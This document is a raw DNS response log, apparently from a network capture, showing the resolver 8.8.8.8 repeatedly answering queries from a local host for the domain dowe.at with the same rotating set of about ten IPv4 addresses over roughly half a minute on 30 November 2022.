Nov 30, 2022 00:11:40.713022947 CET	8.8.8.8	192.168.2.6	0x46f	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:40.713022947 CET	8.8.8.8	192.168.2.6	0x46f	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:40.713022947 CET	8.8.8.8	192.168.2.6	0x46f	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:40.713022947 CET	8.8.8.8	192.168.2.6	0x46f	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:40.713022947 CET	8.8.8.8	192.168.2.6	0x46f	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:40.713022947 CET	8.8.8.8	192.168.2.6	0x46f	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:40.713022947 CET	8.8.8.8	192.168.2.6	0x46f	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:40.713022947 CET	8.8.8.8	192.168.2.6	0x46f	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:40.713022947 CET	8.8.8.8	192.168.2.6	0x46f	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:41.821110964 CET	8.8.8.8	192.168.2.6	0x8504	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:41.821110964 CET	8.8.8.8	192.168.2.6	0x8504	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:41.821110964 CET	8.8.8.8	192.168.2.6	0x8504	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:41.821110964 CET	8.8.8.8	192.168.2.6	0x8504	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:41.821110964 CET	8.8.8.8	192.168.2.6	0x8504	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:41.821110964 CET	8.8.8.8	192.168.2.6	0x8504	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:41.821110964 CET	8.8.8.8	192.168.2.6	0x8504	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:41.821110964 CET	8.8.8.8	192.168.2.6	0x8504	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:41.821110964 CET	8.8.8.8	192.168.2.6	0x8504	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:41.821110964 CET	8.8.8.8	192.168.2.6	0x8504	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:42.970715046 CET	8.8.8.8	192.168.2.6	0xb003	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:42.970715046 CET	8.8.8.8	192.168.2.6	0xb003	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:42.970715046 CET	8.8.8.8	192.168.2.6	0xb003	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:42.970715046 CET	8.8.8.8	192.168.2.6	0xb003	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:42.970715046 CET	8.8.8.8	192.168.2.6	0xb003	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:42.970715046 CET	8.8.8.8	192.168.2.6	0xb003	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:42.970715046 CET	8.8.8.8	192.168.2.6	0xb003	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:42.970715046 CET	8.8.8.8	192.168.2.6	0xb003	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:42.970715046 CET	8.8.8.8	192.168.2.6	0xb003	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:42.970715046 CET	8.8.8.8	192.168.2.6	0xb003	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:44.541811943 CET	8.8.8.8	192.168.2.6	0xa796	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:44.541811943 CET	8.8.8.8	192.168.2.6	0xa796	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:44.541811943 CET	8.8.8.8	192.168.2.6	0xa796	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:44.541811943 CET	8.8.8.8	192.168.2.6	0xa796	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:44.541811943 CET	8.8.8.8	192.168.2.6	0xa796	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:44.541811943 CET	8.8.8.8	192.168.2.6	0xa796	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:44.541811943 CET	8.8.8.8	192.168.2.6	0xa796	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:44.541811943 CET	8.8.8.8	192.168.2.6	0xa796	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:44.541811943 CET	8.8.8.8	192.168.2.6	0xa796	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:44.541811943 CET	8.8.8.8	192.168.2.6	0xa796	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:45.526927948 CET	8.8.8.8	192.168.2.6	0xbe7e	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:45.526927948 CET	8.8.8.8	192.168.2.6	0xbe7e	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:45.526927948 CET	8.8.8.8	192.168.2.6	0xbe7e	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:45.526927948 CET	8.8.8.8	192.168.2.6	0xbe7e	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:45.526927948 CET	8.8.8.8	192.168.2.6	0xbe7e	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:45.526927948 CET	8.8.8.8	192.168.2.6	0xbe7e	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:45.526927948 CET	8.8.8.8	192.168.2.6	0xbe7e	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:45.526927948 CET	8.8.8.8	192.168.2.6	0xbe7e	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:45.526927948 CET	8.8.8.8	192.168.2.6	0xbe7e	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:45.526927948 CET	8.8.8.8	192.168.2.6	0xbe7e	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:47.144521952 CET	8.8.8.8	192.168.2.6	0xb0e8	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:47.144521952 CET	8.8.8.8	192.168.2.6	0xb0e8	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:47.144521952 CET	8.8.8.8	192.168.2.6	0xb0e8	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:47.144521952 CET	8.8.8.8	192.168.2.6	0xb0e8	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:47.144521952 CET	8.8.8.8	192.168.2.6	0xb0e8	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:47.144521952 CET	8.8.8.8	192.168.2.6	0xb0e8	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:47.144521952 CET	8.8.8.8	192.168.2.6	0xb0e8	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:47.144521952 CET	8.8.8.8	192.168.2.6	0xb0e8	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:47.144521952 CET	8.8.8.8	192.168.2.6	0xb0e8	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:47.144521952 CET	8.8.8.8	192.168.2.6	0xb0e8	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:48.991724968 CET	8.8.8.8	192.168.2.6	0xacd6	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:48.991724968 CET	8.8.8.8	192.168.2.6	0xacd6	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:48.991724968 CET	8.8.8.8	192.168.2.6	0xacd6	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:48.991724968 CET	8.8.8.8	192.168.2.6	0xacd6	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:48.991724968 CET	8.8.8.8	192.168.2.6	0xacd6	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:48.991724968 CET	8.8.8.8	192.168.2.6	0xacd6	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:48.991724968 CET	8.8.8.8	192.168.2.6	0xacd6	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:48.991724968 CET	8.8.8.8	192.168.2.6	0xacd6	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:48.991724968 CET	8.8.8.8	192.168.2.6	0xacd6	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:48.991724968 CET	8.8.8.8	192.168.2.6	0xacd6	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:50.196737051 CET	8.8.8.8	192.168.2.6	0xa191	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:50.196737051 CET	8.8.8.8	192.168.2.6	0xa191	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:50.196737051 CET	8.8.8.8	192.168.2.6	0xa191	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:50.196737051 CET	8.8.8.8	192.168.2.6	0xa191	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:50.196737051 CET	8.8.8.8	192.168.2.6	0xa191	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:50.196737051 CET	8.8.8.8	192.168.2.6	0xa191	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:50.196737051 CET	8.8.8.8	192.168.2.6	0xa191	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:50.196737051 CET	8.8.8.8	192.168.2.6	0xa191	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:50.196737051 CET	8.8.8.8	192.168.2.6	0xa191	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:50.196737051 CET	8.8.8.8	192.168.2.6	0xa191	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:51.391386986 CET	8.8.8.8	192.168.2.6	0x66cc	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:51.391386986 CET	8.8.8.8	192.168.2.6	0x66cc	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:51.391386986 CET	8.8.8.8	192.168.2.6	0x66cc	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:51.391386986 CET	8.8.8.8	192.168.2.6	0x66cc	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:51.391386986 CET	8.8.8.8	192.168.2.6	0x66cc	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:51.391386986 CET	8.8.8.8	192.168.2.6	0x66cc	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:51.391386986 CET	8.8.8.8	192.168.2.6	0x66cc	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:51.391386986 CET	8.8.8.8	192.168.2.6	0x66cc	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:51.391386986 CET	8.8.8.8	192.168.2.6	0x66cc	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:51.391386986 CET	8.8.8.8	192.168.2.6	0x66cc	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:52.630928993 CET	8.8.8.8	192.168.2.6	0xacbd	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:52.630928993 CET	8.8.8.8	192.168.2.6	0xacbd	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:52.630928993 CET	8.8.8.8	192.168.2.6	0xacbd	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:52.630928993 CET	8.8.8.8	192.168.2.6	0xacbd	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:52.630928993 CET	8.8.8.8	192.168.2.6	0xacbd	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:52.630928993 CET	8.8.8.8	192.168.2.6	0xacbd	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:52.630928993 CET	8.8.8.8	192.168.2.6	0xacbd	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:52.630928993 CET	8.8.8.8	192.168.2.6	0xacbd	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:52.630928993 CET	8.8.8.8	192.168.2.6	0xacbd	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:52.630928993 CET	8.8.8.8	192.168.2.6	0xacbd	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:53.780193090 CET	8.8.8.8	192.168.2.6	0x4a2b	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:53.780193090 CET	8.8.8.8	192.168.2.6	0x4a2b	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:53.780193090 CET	8.8.8.8	192.168.2.6	0x4a2b	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:53.780193090 CET	8.8.8.8	192.168.2.6	0x4a2b	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:53.780193090 CET	8.8.8.8	192.168.2.6	0x4a2b	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:53.780193090 CET	8.8.8.8	192.168.2.6	0x4a2b	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:53.780193090 CET	8.8.8.8	192.168.2.6	0x4a2b	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:53.780193090 CET	8.8.8.8	192.168.2.6	0x4a2b	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:53.780193090 CET	8.8.8.8	192.168.2.6	0x4a2b	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:53.780193090 CET	8.8.8.8	192.168.2.6	0x4a2b	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:55.366202116 CET	8.8.8.8	192.168.2.6	0x293b	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:55.366202116 CET	8.8.8.8	192.168.2.6	0x293b	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:55.366202116 CET	8.8.8.8	192.168.2.6	0x293b	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:55.366202116 CET	8.8.8.8	192.168.2.6	0x293b	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:55.366202116 CET	8.8.8.8	192.168.2.6	0x293b	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:55.366202116 CET	8.8.8.8	192.168.2.6	0x293b	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:55.366202116 CET	8.8.8.8	192.168.2.6	0x293b	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:55.366202116 CET	8.8.8.8	192.168.2.6	0x293b	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:55.366202116 CET	8.8.8.8	192.168.2.6	0x293b	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:55.366202116 CET	8.8.8.8	192.168.2.6	0x293b	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:56.403703928 CET	8.8.8.8	192.168.2.6	0x1e39	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:56.403703928 CET	8.8.8.8	192.168.2.6	0x1e39	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:56.403703928 CET	8.8.8.8	192.168.2.6	0x1e39	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:56.403703928 CET	8.8.8.8	192.168.2.6	0x1e39	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:56.403703928 CET	8.8.8.8	192.168.2.6	0x1e39	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:56.403703928 CET	8.8.8.8	192.168.2.6	0x1e39	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:56.403703928 CET	8.8.8.8	192.168.2.6	0x1e39	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:56.403703928 CET	8.8.8.8	192.168.2.6	0x1e39	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:56.403703928 CET	8.8.8.8	192.168.2.6	0x1e39	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:56.403703928 CET	8.8.8.8	192.168.2.6	0x1e39	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:58.053072929 CET	8.8.8.8	192.168.2.6	0x9fa9	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:58.053072929 CET	8.8.8.8	192.168.2.6	0x9fa9	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:58.053072929 CET	8.8.8.8	192.168.2.6	0x9fa9	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:58.053072929 CET	8.8.8.8	192.168.2.6	0x9fa9	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:58.053072929 CET	8.8.8.8	192.168.2.6	0x9fa9	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:58.053072929 CET	8.8.8.8	192.168.2.6	0x9fa9	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:58.053072929 CET	8.8.8.8	192.168.2.6	0x9fa9	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:58.053072929 CET	8.8.8.8	192.168.2.6	0x9fa9	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:58.053072929 CET	8.8.8.8	192.168.2.6	0x9fa9	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:58.053072929 CET	8.8.8.8	192.168.2.6	0x9fa9	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:59.321430922 CET	8.8.8.8	192.168.2.6	0x8ad	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:59.321430922 CET	8.8.8.8	192.168.2.6	0x8ad	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:59.321430922 CET	8.8.8.8	192.168.2.6	0x8ad	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:59.321430922 CET	8.8.8.8	192.168.2.6	0x8ad	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:59.321430922 CET	8.8.8.8	192.168.2.6	0x8ad	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:59.321430922 CET	8.8.8.8	192.168.2.6	0x8ad	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:59.321430922 CET	8.8.8.8	192.168.2.6	0x8ad	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:59.321430922 CET	8.8.8.8	192.168.2.6	0x8ad	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:59.321430922 CET	8.8.8.8	192.168.2.6	0x8ad	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:11:59.321430922 CET	8.8.8.8	192.168.2.6	0x8ad	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:00.430341005 CET	8.8.8.8	192.168.2.6	0xd88a	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:00.430341005 CET	8.8.8.8	192.168.2.6	0xd88a	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:00.430341005 CET	8.8.8.8	192.168.2.6	0xd88a	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:00.430341005 CET	8.8.8.8	192.168.2.6	0xd88a	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:00.430341005 CET	8.8.8.8	192.168.2.6	0xd88a	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:00.430341005 CET	8.8.8.8	192.168.2.6	0xd88a	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:00.430341005 CET	8.8.8.8	192.168.2.6	0xd88a	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:00.430341005 CET	8.8.8.8	192.168.2.6	0xd88a	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:00.430341005 CET	8.8.8.8	192.168.2.6	0xd88a	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:00.430341005 CET	8.8.8.8	192.168.2.6	0xd88a	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:01.541763067 CET	8.8.8.8	192.168.2.6	0xcd8f	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:01.541763067 CET	8.8.8.8	192.168.2.6	0xcd8f	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:01.541763067 CET	8.8.8.8	192.168.2.6	0xcd8f	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:01.541763067 CET	8.8.8.8	192.168.2.6	0xcd8f	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:01.541763067 CET	8.8.8.8	192.168.2.6	0xcd8f	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:01.541763067 CET	8.8.8.8	192.168.2.6	0xcd8f	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:01.541763067 CET	8.8.8.8	192.168.2.6	0xcd8f	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:01.541763067 CET	8.8.8.8	192.168.2.6	0xcd8f	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:01.541763067 CET	8.8.8.8	192.168.2.6	0xcd8f	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:01.541763067 CET	8.8.8.8	192.168.2.6	0xcd8f	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:03.497956991 CET	8.8.8.8	192.168.2.6	0x37f4	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:03.497956991 CET	8.8.8.8	192.168.2.6	0x37f4	No error (0)	dowe.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:03.497956991 CET	8.8.8.8	192.168.2.6	0x37f4	No error (0)	dowe.at	187.212.179.75	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:03.497956991 CET	8.8.8.8	192.168.2.6	0x37f4	No error (0)	dowe.at	200.46.66.71	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:03.497956991 CET	8.8.8.8	192.168.2.6	0x37f4	No error (0)	dowe.at	123.213.233.194	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:03.497956991 CET	8.8.8.8	192.168.2.6	0x37f4	No error (0)	dowe.at	109.102.255.230	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:03.497956991 CET	8.8.8.8	192.168.2.6	0x37f4	No error (0)	dowe.at	201.124.230.1	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:03.497956991 CET	8.8.8.8	192.168.2.6	0x37f4	No error (0)	dowe.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:03.497956991 CET	8.8.8.8	192.168.2.6	0x37f4	No error (0)	dowe.at	37.34.248.24	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:03.497956991 CET	8.8.8.8	192.168.2.6	0x37f4	No error (0)	dowe.at	37.234.251.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:12:05.265032053 CET	8.8.8.8	192.168.2.6	0xc889	No error (0)	dowe.at	211.59.14.90	A (IP address)	IN (0x0001)	false
